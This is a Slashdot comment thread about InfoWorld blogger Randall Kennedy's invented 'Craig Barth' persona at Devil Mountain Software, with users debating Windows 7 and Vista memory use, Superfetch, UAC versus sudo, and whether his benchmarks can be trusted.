    "Devil Mountain ran its DMS Clarity Studio framework on a laptop Barth described as a "barn burner" -- dual-core processor, dedicated graphics, and either 1GB or 2GB of memory -- to compare performance of the SP1 release candidate that Microsoft released last week with the RTM version that hit general distribution last January. The Vista RTM was not updated with any of the bug fixes, patches or performance packs that Microsoft has pushed through Windows Update since the operating system's debut. 'One gigabyte, 2GB [of memory], it didn't make a difference,' said [CTO Craig] Barth. 'SP1 was never more than 1% or 2% faster.'"

    http://tech.slashdot.org/tech/08/08/18/2016228.shtml
    One Third of New PCs Downgraded To XP?

    "More than one in every three new PCs is downgraded from Windows Vista to Windows XP, either at the factory or by the buyer, said performance and metrics researcher Devil Mountain Software, which operates a community-based testing network. 'The 35% is only an estimate, but it shows a trend within our own user base,' Craig Barth, the company's CTO, said. 'People are taking advantage of Vista's downgrade rights.' Last year, Devil Mountain benchmarked Vista and XP performance using other performance-testing tools and concluded that XP was much faster. Barth said things haven't changed since then. 'Everything I've seen clearly shows me that Vista is an OS that should never have left the barn.'"

    http://tech.slashdot.org/article.pl?sid=08/09/02/1418252
    IE8 Beta 2 Fatter Than Firefox and XP

    "Consuming twice as much RAM as Firefox and saturating the CPU with nearly six times as many execution threads, Microsoft's latest beta release of Internet Explorer 8 is in fact more demanding on your PC than Windows XP itself, research firm Devil Mountain Software found in performance tests. According to the firm, which operates a community-based testing network, IE8 Beta 2 consumed 380MB of RAM and spawned 171 concurrent threads during a multi-tab browsing test of popular Web destinations. InfoWorld's Randall Kennedy speculates that Microsoft may be designing IE8 for the multicore future. But until your machine sports four or eight discrete processing cores, IE8 will remain 'porcine,' Devil Mountain's Craig Barth says."

    --
    This space for rent.
    1. Re:Yup... by Runaway1956 · · Score: 2, Interesting

      I can't argue that the guy seems to have spread FUD - but how much of it was really FUD?

      I, personally, had little luck making Vista run on my machines. On the very same hardware, Win7 runs nicely. I get the same low scores for my hardware, because I don't have recent gaming video cards - but Win7 runs nicely.

      So, again, how much of the anti-vista stuff was really FUD? Not much, I suspect. Even a fraud can be right sometimes.

      --
      "Windows is like the faint smell of piss in a subway: it's there, and there's nothing you can do about it." - Charlie Br
    2. Re:Yup... by Anonymous Coward · · Score: 5, Insightful

      Doesn't matter. In my book, caught submitting false data, all data should be tossed out. Everything this guy has ever claimed is now suspect.

    3. Re:Yup... by phantasmagoric · · Score: 1

      I, personally, had vista the January it came out, with no problems except for a hibernate bug. This minor annoyance was fixed in a service pack a few months later. I am completely happy with it I think some people's experience with vista wasn't as good as mine, but thats how it goes. This story just illustrates that people like this guy exacerbated vista's bad rep to the point where everyone expected a bad experience.

    4. Re:Yup... by MightyMartian · · Score: 1

      If he was caught spreading B.S. once, then it all becomes suspect.

      --
      The world's burning. Moped Jesus spotted on I50. Details at 11.
    5. Re:Yup... by Anonymous Coward · · Score: 0

      yeah but: "Craig Barth, is that you?"

    6. Re:Yup... by tehcyder · · Score: 1

      So, again, how much of the anti-vista stuff was really FUD? Not much, I suspect. Even a fraud can be right sometimes.

      Bullshit, if this had been anti-Apple or anti-Linux fraud I doubt you'd be so generous.

      --
      To have a right to do a thing is not at all the same as to be right in doing it
    7. Re:Yup... by mdwh2 · · Score: 1

      Even a broken clock is right twice a day. But the point is, his view is no better than any other anecdote or personal opinion, whether it's for or against Vista (or any other OS). No one would care if he was here posting on Slashdot, but his opinions were held up as an authoritative source, and published by the media.

      My own view is that there were reasons to be wary of Vista when it was first released (the same applied to XP - oh how people here forget how much criticism of XP there was here on its release, with people preferring 2000), and it's not great on only 1GB. But it also seems to me that much of the later criticism, especially when even low end laptops were shipping with 3GB or more, was nothing more than FUD.

    8. Re:Yup... by Runaway1956 · · Score: 1

      Actually - I might be. A lot of people on here say bad things about *nix systems, and I don't discount everything they have to say about everything in the world just because of it. In fact, there are two posters here that I pay attention to, because they DO have a lot of good stuff to say - just none of it about *nix. If I allowed my prejudices and their prejudices to rule my mind, there's a good deal of stuff that I would never have learned from them.

      Let's remember - opinions are like assholes, everyone has one, and they all stink. Mine and yours included, of course. ;^)

      --
      "Windows is like the faint smell of piss in a subway: it's there, and there's nothing you can do about it." - Charlie Br
    9. Re:Yup... by zemkai · · Score: 1

      I feel the same way about tree ring data...

    10. Re:Yup... by IICV · · Score: 1

      Ah yes, good old falsum in omnibus. Totally not a logical fallacy at all.

    11. Re:Yup... by shentino · · Score: 1

      Strictly speaking, it is indeed fallacious.

      In a world ruled by uncertainty and intuition, however, it does make for a good heuristic.

    12. Re:Yup... by Anonymous Coward · · Score: 0

      Sorry, no. Falsum in omnibus applies to errors, not lies. The fallacy is the assumption that if one portion of your argument is false, everything you say is false.

      Liars, on the other hand, demonstrate only one thing: That they are willing to lie. If you've ever dealt with a habitual liar, you'll know that trying to find the true statements they might make is an endless rabbit hole. It is not worth the effort.

      Someone who is a demonstrated liar is not to be trusted. In anything. Only a sucker would give him any slack at all.

    13. Re:Yup... by Mister+Whirly · · Score: 1

      If any of it was true, why did he make up a fictitious CTO from a company to report any of it? Sorry, but his actions alone are enough to discount all of his work outright. Fraudulently passing yourself off as someone else is a quick ticket to the end of your career in journalism.

      --
      "But this one goes to 11!"
  23. Windows 7 does use too much ram. by Win+Hill · · Score: 1, Informative

    But.... Windows 7 does seem to use too much memory, not as much as the O.P. claimed, perhaps, but more than Windows XP used. My system rapidly ramps up to the 75 to 80% level, which is a bit surprising. I installed 32-bit Windows 7, whereas I see most of the commercial offerings are the 64-bit version. The latter can utilize more than 3GB of memory, and arguably, may be happier with smaller amounts of ram than 32-bit installs.

    1. Re:Windows 7 does use too much ram. by Anonymous Coward · · Score: 5, Insightful

      As has been explained countless times, yes Windows 7 uses more memory BUT it uses most of it as disk cache. It's more like Linux now compared to older versions of Windows. Using otherwise unused memory for disk cache is a good thing and does not affect application performance or available memory negatively.

  24. Re:NEWS! Slashdot doesn't check facts, gets letter by Doug52392 · · Score: 1

    Slashdot mods were probably like "OH GOD! FINALLY! An article saying something BAD about Windows 7! MUST. PUBLISH!"

  25. OMG, they killed Craig! by nottooloud · · Score: 1

    Now they're trying to pretend he didn't exist!

  26. Windows 7, memory and me by theendlessnow · · Score: 1, Informative

    I have done what I believe to be identical installations on exact same hardware and in some cases Windows 7 consumes ALL of the memory all of the time and sometimes it doesn't. It's a mystery to me. I don't know what else to say. I realize that to Microsoft problems aren't problems unless they say they are problems.... but I really think there is some kind of problem here.

    1. Re:Windows 7, memory and me by EricX2 · · Score: 1

      So your OS is using all your available memory sometimes... is your PC slow? Currently on my system with 4gb of RAM I have 0mb of Physical memory free and it is running plenty fast.

      Why is that a problem?

    2. Re:Windows 7, memory and me by McHenry+Boatride · · Score: 1

      Perhaps it's wearing the memory out by using it?

    3. Re:Windows 7, memory and me by grasshoppa · · Score: 1

      That's a joke, right? You are kidding, aren't you?

      --
      Mod me down with all of your hatred and your journey towards the dark side will be complete!
    4. Re:Windows 7, memory and me by McHenry+Boatride · · Score: 1

      I'm truely amazed that you think it necessary to ask!

    5. Re:Windows 7, memory and me by grasshoppa · · Score: 1

      It is necessary to ask, given the...odd...arguments I've seen flying around about 7/vista.

      There are plenty of legitimate arguments against 7/vista, but I've seen some truly inventive arguments.

      --
      Mod me down with all of your hatred and your journey towards the dark side will be complete!
  27. Re:NEWS! Slashdot doesn't check facts, gets letter by Anonymous Coward · · Score: 0

    GP is probably another Randall Kennedy sock puppet.

  28. Re:NEWS! Slashdot doesn't check facts, gets letter by selven · · Score: 5, Informative

    If you actually read the story in question on Slashdot, you'll see everyone point out what an idiot whoever put the story up is and explain that the whole point of memory is that you use close to 100% of it since every byte you use makes things go faster. It's been this way for years. kdawson et al's anti-MS biases get on the front page, and everyone kicks them down (unless they're justified).

  29. Window 7/Vista Memory Managment Rots! by BrendaEM · · Score: 1, Insightful

    Oh, what a POS!

    At some point, I am going to have to "upgrade" from XP to 7, and I am not looking forward to it. Superfetch is just not practical for coexistence heavy hitter video,/graphics/sound applications.
    If it weren't for Rhino3d, and a handful of games, I'd dump Windows entirely.

    Linux never uses a bit of VM unless you need it.

    --
    https://www.youtube.com/c/BrendaEM
    1. Re:Window 7/Vista Memory Managment Rots! by elbiatcho1 · · Score: 2, Insightful

      Then just disable the Superfetch service.

    2. Re:Window 7/Vista Memory Managment Rots! by Beelzebud · · Score: 2, Informative

      If you had read anything to do with this story, you'd already be aware that superfetch will not interfere with "heavy hitter" apps like games and 3d modeling programs, because the superfetched data is dumped the millisecond it's needed by an application...

    3. Re:Window 7/Vista Memory Managment Rots! by Anarchduke · · Score: 1

      Then use Linux.

      And use more WINE and less whine.

      --
      who prays for Satan? Who in 18 centuries has had the humanity to pray for the 1 sinner that needed it most? ~Mark Twain
    4. Re:Window 7/Vista Memory Managment Rots! by Ant+P. · · Score: 1

      Linux never uses a bit of VM unless you need it.

      Actually it does. But they're fixing that too.

  30. Game and Watch, people? by Anonymous Coward · · Score: 0

    "original nintendo"

    I'm sure that NES is what you really meant, pronounced "Any Ess". Use the right words and maybe people wouldn't get confused.

    Video game are serious business, I mean this is Slashdot after all.

  31. Re:Doesn't make memory usage good though. by mikael · · Score: 2, Interesting

    see these sorts of posts all the time and wonder what exactly it is that all these people want unused RAM for.

    Numerical simulations, animation. I wanted to run a 256^3 sized grid reaction-diffusion simulation. That would required around 128^3 x (2 channels) x (2 grids) x (4 bytes) ~ 60 Mbytes. I try malloc and then mmap, but each were extremely slow due to the freeing up of memory (particularly system buffers). So I resorted to using the graphics card instead (you want 32 Mbytes for a single four channel 32-bit floating-point texture? Sure, no problem, here you go...)

    --
    Vintage computer adverts: http://www.vintageadbrowser.com/computers-and-software-ads
  32. Not quite. by bhpaddock · · Score: 3, Interesting

    UAC is quite different from su / sudo.

    Windows NT has always supports the notion of "root" level (aka "Administrator") accounts and standard or limited user accounts. It has also long supported "runas" - the equivalent of sudo. The purpose of that is to allow a standard user to run a program in the context of another user, generally an Administrator, on the same desktop.

    UAC, on the other hand, could be called the opposite of "sudo." Instead of running specific processes as a more privileged user, it allows an Administrator to run processes as a LESS privileged user, with varying privilege levels. Technically, Windows has also supported something like this in the past via Discretionary Access Control mechanisms and custom security tokens. UAC brings several additional pieces to the table such as: Mandatory Access Control, more direct user/system control over this behavior, and various bits of supporting infrastructure to make it both more secure (i.e. UIPI) and more compatible with existing programs (File System and Registry virtualization, for example).

    UAC also allows programs such as IE and Chrome to run at below-standard privilege levels ("protected mode" or "sandbox" mode), enables secure consent prompts for elevation (more convenient and often more secure versus credential prompts which are vulnerable to spoofing attacks), and more.

    So no, UAC is not a ripoff of sudo.

    1. Re:Not quite. by SanityInAnarchy · · Score: 2, Insightful

      Instead of running specific processes as a more privileged user, it allows an Administrator to run processes as a LESS privileged user, with varying privilege levels.

      That's not significantly different. On a Unix system, init is run as root, and it then spawns other processes as varying users, with varying privilege levels. The "sudo" part is remarkably similar on both systems -- you're at a lower privilege than the process that started you, and now you want a higher privilege, so you have to get permission from the user in some way, and a higher-privileged program (like sudo or the UAC window) is going to do that for you.

      UAC also allows programs such as IE and Chrome to run at below-standard privilege levels ("protected mode" or "sandbox" mode),

      Sudo (or just setuid programs) also allows this, albeit in a somewhat kludgier fashion -- Chrome does sandbox processes on Unix. As far as I can tell, it does so at least with chroot, then drop permissions. There's talk of SELinux support, also.

      --
      Don't thank God, thank a doctor!
    2. Re:Not quite. by ruemere · · Score: 1

      Two more thingies:
      - Vista's administrator actual access rights may differ depending on whether it is Administrator, member of Administrators (local), member of domain group which in turn belongs to Administrators (local).
      - several folders (or applications) may be governed by Vista's equivalent of .htaccess and subsequently may be not accessible as per standard security

      All of the above may be further complicated by attempting to run a 32bit application to access 64bit content in a system folder (transparent redirection of call may result in serious weirdness).

      Regards,
      Ruemere

    3. Re:Not quite. by huge · · Score: 1

      UAC is quite different from su / sudo. [...] it allows an Administrator to run processes as a LESS privileged user

      But how is that different from su or sudo? Your su/sudo target account doesn't have to be root.

      --
      -- Reality checks don't bounce.
    4. Re:Not quite. by petermgreen · · Score: 1

      Yeah I really don't get why MS put the 64-bit stuff in system32 and then added a load of redirection kludge-code to make 32-bit apps work rather than just leaving the 32-bit libraries where they were and adding a system64 directory for 64-bit stuff.

      --
      note: i'm known as plugwash most places but i screwd up registering that here somehow in the past and now can't register
  33. Re:Doesn't make memory usage good though. by Anonymous Coward · · Score: 0

    If you paid for a 1.5TB HD, would you fill it up completely when you got it?

    Sure, it's not quite the same, but seriously, what is the use of filling it up with things Windows *thinks* you might use? It's a waste of HD access to preload what you don't end up using.

    Disabling Superfetch on Vista/7 made my computer MUCH faster. I'm inclined to believe that disabling the rest of this preloading mumbo-jumbo -- even on other OSes like GNU/Linux -- will speed that up as well, because I only load what is needed and LEAVE MY RAM FREE TO ONLY HOLD WHAT I WANT AND NEED IT TO.

    It's a damn shame this guy got canned because he dared speak the truth about this braindead approach to memory use. If I was any more of a conspiracy theorist, I'd say that Microsoft paid to shut him up.

    AC because everyone will disagree with me just like they disagreed with this guy, and mod me down to below nothing.

  34. Re:NEWS! Slashdot doesn't check facts, gets letter by baegucb · · Score: 1

    Moderators don't publish/edit.

  35. Re:Doesn't make memory usage good though. by Anonymous Coward · · Score: 0

    So what you're saying is no OS should use more than $5 of RAM?

    I insist that it run on my 1981 vintage PC. I paid good bucks for that 64kbyte upgrade, I want to use it.

  36. Re:Doesn't make memory usage good though. by walterbyrd · · Score: 0, Troll

    Sure am glad I have a gas guzzler. I paid for that full tank of gas I want to use it.

    Tell me again why vista/win7 is supperior to XP? Just because vista/win7 consume more system resources does not mean the end user gets anything out of it.

    Seems to me people are sending their money to Redmond for no good reason.

    Now go ahead an tell me I'm a luddite because I don't buy everything that msft shills tell me to buy.

  37. Re:Doesn't make memory usage good though. by cgenman · · Score: 1

    And unless you're on a notebook there is no reason to not have 4-8GB of RAM.

    Notebooks have been outselling desktops for a few years now. Desktops are now the minority of computers. Also, 4+ GB of RAM isn't possible under windows unless A: running a 64 bit variant, and B: your system provider hasn't cheaped out and has actually updated the BIOS to support it. Considering how useless Vista 64 was, that essentially limits you to computers designed recently and bought in the last year. (or any OSX or Linux variant for a long time now, but that's another argument).

    The 4GB RAM ceiling hasn't been smashed for that long. It will take time to adopt.

  38. Clear messege. by miffo.swe · · Score: 0, Redundant

    Do not critizise Vista 7 *cough* Windows 7 or Microsoft will eat your soul, get you fired and send lawyers at you.

    --
    HTTP/1.1 400
  39. Even XP did this by Sycraft-fu · · Score: 1

    XP was just very passive with it. More or less, when you quit an app in XP it treated the RAM similar to HD space: It marked it as free, but didn't remove any data. If you subsequently loaded the same app and the data was still there, it was much faster since it wasn't read back from disk. Now none of this showed up in the RAM meter in XP, it showed the memory as free, not noting that some of it was a cache.

    In Vista and 7, this process is more obvious, and aggressive. For one, it'll tell you about the cache. It tells you the total RAM, RAM allocated, RAM used for cached, RAM available for use to programs, and RAM currently unused. So you can see a system with only 500MB of RAM "free" but 6.5GB "available". That just means that there is 500MB of RAM for which Windows has found no use at all at this point, but there is 6.5GB total it could give to programs, should it be needed. Also, they are more intelligent about what goes in RAM, watching which programs are loaded frequently and having part or all of those ready to go, rather than just what was run last.

    Vista was a little less clear about RAM availability and more aggressive with caching than 7, but the basic operation is the same.

  40. Does it run putty? by codepunk · · Score: 1

    As long as it can run Putty, I am perfectly fine with whatever junk they decide to produce.

    --


    Got Code?
  41. WTF Devil Mountain Software? by HeavyDevelopment · · Score: 1

    This didn't raise any red flags for anyone? If that doesn't sound like a shill I'm not sure what does.

    --
    Badges!?! We don't need no stinking badges!
  42. Re:Doesn't make memory usage good though. by dontmakemethink · · Score: 1

    Sure am glad I have a gas guzzler. I paid for that full tank of gas I want to use it.

    Wow. An ill-thought car analogy on /. Thought I'd never see the day.

    --

    War as we knew it was obsolete
    Nothing could beat complete denial
    - Emily Haines
  43. Possible future /. editor by heffrey · · Score: 1

    Randall C. Kennedy was an InfoWorld blogger known for his outrageous, inflammatory posts. Often these posts appeared to disregard the facts, overinflate the issues, or otherwise ignore the tenets of basic journalism in favor of sensationalism and manufactured furor.

    Combine this with the fact that the guy is already very comfortable using a pseudonym then I heartily recommend him for the post of Slashdot editor!

  44. The tale of the new user in wonderland by Evtim · · Score: 1

    Here is my recount:

    Last Saturday I finally upgraded my PC. Nothing too fancy - i3, decent MSI motherboard, 4 gigs good OCZ memory and quite decent ATI 5770. Windows 7 Home Premium 64 OEM version. And to test the whole thing on the gaming side - GTA 4.

    I was prepared for nightmares and long, painful hours with both the OS and the game. To my surprise the hours were long, but not really frustrating. True, some programs which I always used, like Outlook Express, were not supported anymore and had to be replaced with something else (took the Thunderbolt). True, I had to read lots of articles about compatibility of hardware/drivers with Win7. Even simple things like the gaming mouse needed a whole new approach to make it work. It took me 13 hours in total in an average and careful pace. Along the way I purchased a few other programs, like A 120% and a couple of puzzle-type games for the wife.

    So on the next day I said to myself - let's see how the GTA will run! Everything on the PC is fresh, proper, updated to max. and 100% legal. It took ages to install the GTA and then I was confronted with all the DRM things. Got a bit nervous (first time in this world of online registering , online clubs and communities, designated servers, Win Live and so on..) but eventually all was well. Refused to register anywhere where I had the choice to refuse. The game runs smoothly. It is beautiful. I adore it. All other programs are also as fast as the Stig.

    If this experience continues to be like this I will soften my attitude to the industry considerably. However, I wonder to what degree am I lucky? Many people in my situation are reporting problems - with the game or with the OS. I do not think they are all running cracked software and experiencing the anti-piracy traps. What will happen if the online support for the game is cancelled in the future? I am one of those middle aged gamers that plays a good game for years. Hell, my first session on the GTA lasted for 5 hours (ahhh, Sundays) and I did not attempt a single mission, just drove around listening to the radio. I can do this for months, it relaxes me! No time these days for quantity so I emphasize on quality in my gaming and like to re-play excellent games many times. We will see. For now the future seems a bit less dark (if Oblivion works well under Win7 it will get even brighter).

    BTW, all the above does not mean that I am consenting with any spying/control attempts via my hardware and software. Not at all! I wonder how much more they know about me now via this modern software? And boy, all this agreements and installations of verification software - everywhere there are links and readmes where you are supposed to learn about how well yor privacy is protected and at the same time the language is so ambiguous that immediately arises suspicion. Probably its a lot of bull.

    And I still hate the fact that old hardware is almost impossible to fix/replace if you have limited time and knowledge. What to do now with the old machine - its either the MB or the CPU but I have no way in determining which one is the culprit. OK I am stupid then, but why there is no one out there that can help (for money, of course). It was a perfect P4/1gig/6600GT XP machine with very expensive components (still did not last long enough for the money I paid!). And another frustration - the modern ATI seems to struggle on CRT monitor - the fonts appear different across the screen. I know everyone has LCD these days, but hey, this is 21'' Sony Trinitron - it is still very good screen! But I think the repair/reuse strategy is gone in every industry these days, which is ridiculous considering all the hot air that is blown around about saving the planet. OK, its good to have new, power saving MB/CPU combo, thanks, but I could do infinitely better by using the old PC for a few more years. I could do it. No rush to replace - after all Morrowind ran smoothly on it!

  45. Windows 7 does not use too much RAM. by McHenry+Boatride · · Score: 2, Informative
    Exactly. Far too many people seem to confuse "free memory" with "available memory". No problem with having little free memory - why pay for RAM that isn't being used; do what Windows 7 does and use it as temporary cache to speed things up.

    "Available memory" can be utilized by the OS if the need arises, so the most accurate measure of "free" RAM is to add together "free memory" and "available memory".

  46. So, where were the people[1] calling bullshit? by Colin+Smith · · Score: 1

    They were under NDA, not permitted to perform & publish comparison benchmarks? Was that where they were?

    All it takes is one person to say "nah this guy's talking bullshit", with a link to a repeatable benchmark which shows he's talking balls...

    Y'know... like science... or engineering... instead of fashion.

    [1] Why don't I do this? Cos I don't give a shit about Microsoft products. Perhaps that's the other reason nobody called bullshit, nobody gives a shit.
     

    --
    Deleted
    1. Re:So, where were the people[1] calling bullshit? by Anonymous Coward · · Score: 0

      They were under NDA, not permitted to perform & publish comparison benchmarks? Was that where they were?

      Part of the problem was that Randall Kennedy used his own metrics-gathering programs to produce his statistics. He didn't use any published benchmarks. He ran (or claimed to run) a network of computers that had a custom monitoring client installed. If you didn't have access to his sample, you couldn't reproduce his results. If you said as much, he'd point that out as evidence you didn't know what you were talking about. In the ComputerWorld story about how people were refuting his claims about Windows memory use, he's quoted as saying (paraphrase), "Everybody thinks they're an expert... they say 'my computer doesn't do this,' so that's supposed to mean it doesn't happen." The idea was that Randall Kennedy knew better than you, and if you didn't agree, you were a troll.

      Of course, there is absolutely zero evidence that Kennedy operates any such network of computers. I know there is a monitoring client that you can download and install, but who would install software the sole purpose of which is to sit there, running, doing nothing but sending statistics about your computer to a stranger? Isn't that more colloquially known as a rootkit? It's possible that Kennedy had access to some kind of statistics, but if he did A.) they would be a completely self-selecting sample with no controls, so no meaningful statistical inferences can be made from his data; and B.) It would be just as easy to make the shit up.

  47. Memory footprint still bigger than Vista and XP by fluor2 · · Score: 1

    At work we have a lot of issues using Autocad when loading large files in 32-bit. I can confirm that Windows 7 leaves less RAM for applications than Vista and XP.

  48. There is no Craig Barth ... by sourcerror · · Score: 1

    There is no Craig Barth. And we've been always been in war with Eurasia.

  49. response from devil mountain by Anonymous Coward · · Score: 0

    http://exo-blog.blogspot.com/2010/02/when-microsoft-attacks-again.html

    And his response. He'll get some sympathy to many people hate M$ to look at facts, kinda like the global warming people.

    1. Re:response from devil mountain by Endo13 · · Score: 0, Troll

      kinda like the global warming people.

      Yeah, you really needed to tack that on there. Way to be an ass.

      --
      There is no -1 Disagree mod. Slashdot.org/faq defines mod options. USE IT.
  50. Or.... by hesaigo999ca · · Score: 1

    M$ paid alot of money to put this guy into a corner where he looks like he misrepresented the facts, and by doing so, made this whole issue go away.
    It would be nice to see if someone else that M$ could not corrupt, like Google,
    could test this very same thing, and give us an unbiased review as if it was just a regular company putting out a product
    and not some massive corporation with its tentacles everywhere, paying off everybody, and setting up fake benchmarks.
    I read on /. a while back their benchmarks had been tainted with misrepresentation, but I forget which post it was, maybe vista associated???

    1. Re:Or.... by Endo13 · · Score: 1

      The simple fact that there aren't masses of people complaining about this "issue" should tell you what you need to know.

      --
      There is no -1 Disagree mod. Slashdot.org/faq defines mod options. USE IT.
    2. Re:Or.... by hesaigo999ca · · Score: 1

      They've been silenced as well???

    3. Re:Or.... by Endo13 · · Score: 1

      Yes, Microsoft has hit-squads out 24/7 taking out anyone who says anything bad about their products. My inside source tells me you're next, better run for the hills.

      --
      There is no -1 Disagree mod. Slashdot.org/faq defines mod options. USE IT.
    4. Re:Or.... by hesaigo999ca · · Score: 1

      Really, which way are they coming from....wait a minute, if you know they are coming,
      you MUST be with them....oh no, they have found me already,
      I WILL NOT BE SILENCED, YOU FIENDS!

  51. Re:Doesn't make memory usage good though. by Anonymous Coward · · Score: 0

    If you paid for a 1.5TB HD, would you fill it up completely when you got it?

    Apples to oranges. You use HD space for permanent storage. You use RAM for temporary storage. Unused RAM is wasted. Unused HD space is not— at least in the short term. In the long term, unused HD space is wasted.

    what is the use of filling it up with things Windows *thinks* you might use?

    It's more useful than not filling it up with anything at all. If Windows guesses correctly just once, then overall system performance is improved over the alternative of not pre-caching anything.

    I only load what is needed and LEAVE MY RAM FREE TO ONLY HOLD WHAT I WANT AND NEED IT TO

    No offense, but you're an idiot if you think you can manage your memory better than the OS can. What is it with geeks who refuse to let computers do things for them, instead wanting to manually manage everything themselves? Seriously, do you think your computer slows down just because there's data in RAM? I hate to break it to you, but there's always data in RAM. All of it. Even if it's just zeros, it's still data. Why not fill it with potentially useful data?

    It's a damn shame this guy got canned because he dared speak the truth about this braindead approach to memory use. If I was any more of a conspiracy theorist, I'd say that Microsoft paid to shut him up.

    Sweet merciful crap. Just shut up now.

    AC because everyone will disagree with me just like they disagreed with this guy, and mod me down to below nothing.

    I have mod points right now, but I don't agree with modding people down. I'm also posting AC so my comment is at the same level as yours. You have no clue how this stuff works, just like the retard who posted the original article.

  52. Re:NEWS! Slashdot doesn't check facts, gets letter by Anonymous Coward · · Score: 0

    And yet you have some people constantly complaining about programs that are memory hogs which is like complaining about how your brain cell count is large.

  53. Re:Doesn't make memory usage good though. by Endo13 · · Score: 1

    Pfft, kids these days. Think you need 256MB!! 640k ought to be enough for anybody!

    --
    There is no -1 Disagree mod. Slashdot.org/faq defines mod options. USE IT.
  54. Correction by bhpaddock · · Score: 1

    A distinction I failed to make in my previous post was that unlike sudo, UAC doesn't run processes as a different user at all. Instead it runs them as the same Administrator user, but in a special security context which works as if the user were not an Administrator at all.

    Further, I listed several ways in which UAC is unlike sudo. MAC, UIPI, and so on...

    SELinux seems to bring some aspects of Windows' security model to Linux. But I haven't researched it enough to know exactly how close it's come.

  55. Simple answer: scripts by bhpaddock · · Score: 1

    This was primarily done to enable admin scripts (among others) to function on 64-bit versions of Windows without change.

  56. Clarify? by bhpaddock · · Score: 1

    To what are you referring when you mention an equivalent to .htaccess?

    Windows directory permissions are defined by ACLs (Access Control Lists) which are part of the NTFS file system. In Vista or later, this includes a Mandatory Access Control entry called an "integrity level" - defining which level of trust a process must have in order to access this file or directory.

    Aside from ACLs, there should be nothing preventing you from accessing a folder.

    1. Re:Clarify? by ruemere · · Score: 1

      I'm referring to "special" folders, like Fonts, Temporary Internet Files, redirection between x32 and x64 folders .
      In a way, these folders are subject to special folder policies which are somewhat similar to the way .htaccess operates.

      Unfortunately, Microsoft developers love to overcomplicate things (I'm still miffed after all these years at the way you need to alter ACLS for traversing folders, while under Novell Netware it was just a matter of making one change).

      Regards,
      Ruemere

  57. Kennedy's side by pinkUZI · · Score: 2, Informative

    Kennedy has posted his side of the story here: http://exo-blog.blogspot.com/2010/02/when-microsoft-attacks-again.html "Apologize? For what? Using a pen name when dealing with an overzealous reporter? Because that't the extend of the "deception" that everyone is so excited about. The company itself exists, has real clients and is profitable. Nothing they can say will change that or other facts, like: * We have nearly 24,000 users at xpnet.com. * We collect and analyze over 230 million system metrics records and over 13 billion process metrics records every week. * We publish our findings and make all of our resources freely available to the IT industry. People want to skewer me because they don't agree with my point of view. Microsoft wants to skewer me because I hurt sales. IDG wants to skewer me to cover their asses - because, as I pointed out to ZDNet/CNet, they knew about the Craig Barth ruse all along. And they did nothing. If anyone needs to apologize, it's IDG - but not for the reasons they've stated. It was their hunger for page views that ultimately drove them to turn a blind eye. Me? I just used a pseudonym in a few email exchanges and during a a couple of phone calls. The rest is all BS and posturing, and they (IDG & ZDNet) know it. RCK"

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    1. Re:Kennedy's side by Endo13 · · Score: 1

      It gets even better...

      Raw nerves. You know you've hit one when the entity in question practically jumps through the roof to staunch the pain. In my case, the nerve belonged to Microsoft Corporation. And true to form, the company spent incalculable political capital - and cashed in more than a few favors - in order to orchestrate the most one-sided smear campaign in the history of IT journalism.

      Personally, I find that hilarious. Literally, blow-$RANDOM_BEVERAGE-out-your-nose funny.

      Click the above link in parent post to see the rest of his latest blog post, if you want more amusement.

      --
      There is no -1 Disagree mod. Slashdot.org/faq defines mod options. USE IT.
  58. Hey, at least OfficeBench was free... by Anonymous Coward · · Score: 0

    As much crap as people are shoveling, at least the Office benchmark macro tool they were providing was free and basically did what it was meant to. How many free benchmarking tools are there left now, that don't require diving through archive.org, sleazy psuedo-software.com clones, and the soft white underbelly of the chinese academic internet?

  59. So what? by tengeta · · Score: 1

    Thousands, if not millions of articles were posted about the "horrors" of vista. I used it myself and deployed it at the business I work at with... ZERO ISSUES! So yeah, I'm not even remotely surprised that things posted about Windows 7 are fake if 99% of the hate against Vista took 5 minutes to tweak.

    --
    "They confiscated everything, even the stuff we didn't steal!"
  60. What's the World Coming To? by konohitowa · · Score: 1

    This is just shattering my whole world view. Today it may be The National InfoQuirer putting out mud-raking stories full of bogus information. But I fear for tomorrow. Who knows, we might even see pillars of objectivity such as kdawson approving stories with the same level of journalistic integrity.

    Scary times...